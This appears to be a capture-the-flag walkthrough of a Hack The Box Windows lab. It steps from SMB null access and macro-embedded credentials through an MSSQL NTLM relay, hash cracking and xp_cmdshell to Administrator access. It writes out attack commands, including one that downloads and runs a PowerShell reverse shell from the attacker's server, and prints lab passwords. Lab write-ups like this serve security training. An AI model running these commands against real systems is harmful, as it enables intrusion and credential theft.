Summary
- SMB Null login
- Access to Reports share → Download xlsm file
- xlsm file macros → user reporting creds exposed
- MSSQL as reporting
- Relay Attack → obtain user mssql-svc hash and crack
- MSSQL as mssql-svc
- enable_xp_cmdshell → reverse shell as mssql-svc
- PowerUp.ps1 → Administrator password learked
- Evil-Winrm as Administrator
Information Gathering
Rustscan
Rustscan found SMB, MSSQL, and WinRM open:
Nmap
Namp default script scan discvered Domain name(htb.local) which I added to /etc/hosts.
Enmeration
SMB - TCP 445
Luckily, null login to SMB was allowed:
smbclient -N -L //10.10.10.125
I only had access to Reports share and there was one xlsm file in it: Reports Currency Volume Reports.xlsm
I downloaded the file to local Kali machine to further look into it.
MSSQL as reporting
VBA Script
I tried opening xlsm file using libreoffice calc and it showed me an error saying marcos is running on this xlsm file:
I enabled macros by accessing Macro Security Settings: Tools > Options > LibreOffice > Security and setting the security level to Medium
However, even with macros enabled, excel sheet seemed empty:
I moved on to look at macros script by: Tools > Macros > Organize Macros > LibreOffice Basic…
Under Currency Volume Report.xlsm there was VBAProject and it included macros script connect:
Script was trying to make a TLS connection to SQL Server and it was exposing username and credentials in plain text → reporting:PcwTWTHRwryjc$c6
MSSQL
Using the credentials found above, now I can access MSSQL:
mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
MSSQL as mssql-svc
MSSQL Relay Attack
Following this guide on Hacktricks, I attempted Relay attack for stealing NetNTLM hash and it worked.
I first started Responder for VPN connection:
sudo responder -I tun0
Now on MSSQL connection, I made a request to Kali’s responder:
xp_dirtree '\\10.10.14.17\home\yoon
Instantly, reponsder captured NTLM hash for user mssql-svc:
Hash Cracking
I forwarded the hash to hashcat to crack it and password for mssql-svc was cracked: corporate568
hashcat -m 5600 mssql-svc.hash rockyou.txt
MSSQL
I was hoping found mssql-svc had access to winrm but unfortunately it didn’t:
However, it did had access to MSSQL, so I made connection to MSSQL mssql-svc:
mssqlclient.py mssql-svc:corporate568@10.10.10.125 -windows-auth
Shell as mssql-svc
Since mssql-svc is the SQL managing account, I had a thought that it is gonna have more privilege compared to reporting.
I checked the privilege by typing in help
and mssql-svc had prvilege for xp_cmdshell:
I enabled xp_cmdshell:
enable_xp_cmdshell
& RECONFIGURE
Now I can see that I can execute commands:
Reverse Shell
To spawn reverse shell, I prepared nishang’s Invoke-PowerShellTcp.ps1 on my attacking directory and started python HTTP server.
Using the command below, I downloaded and executed reverse shell script toward my Kali listener:
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.17:8000/ps-rev.ps1") | powershell -noprofile'
Now on my local netcat listener, I have shell as mssql-svc:
Privesc: mssql-svc to Administrator
I checked for privileges mssql-svc had and I saw SeImpersonatePrivilege which is vulnerable to Juicy Potato attack:
whoami priv
Unfortunately, Windows Server 2019 is not vulnerable to JuicyPotato Attack so I moved on.
PowerUp.ps1
I decided to run PowerUp.ps1 for enumeration.
I first started powershell sessions on the shell:
I downloaded PowerUp.ps1 to C:\Users\mssql-svc\app-data\local\temp and ran it:
xcopy \\10.10.14.17\share\PowerUp.ps1 .
Invoke-AllChecks
showed me result:
At the bottom of the scan, I discovered Administrator credential: MyUnclesAreMarioAndLuigi!!1!
Evil-Winrm
Administrator shell was obtained: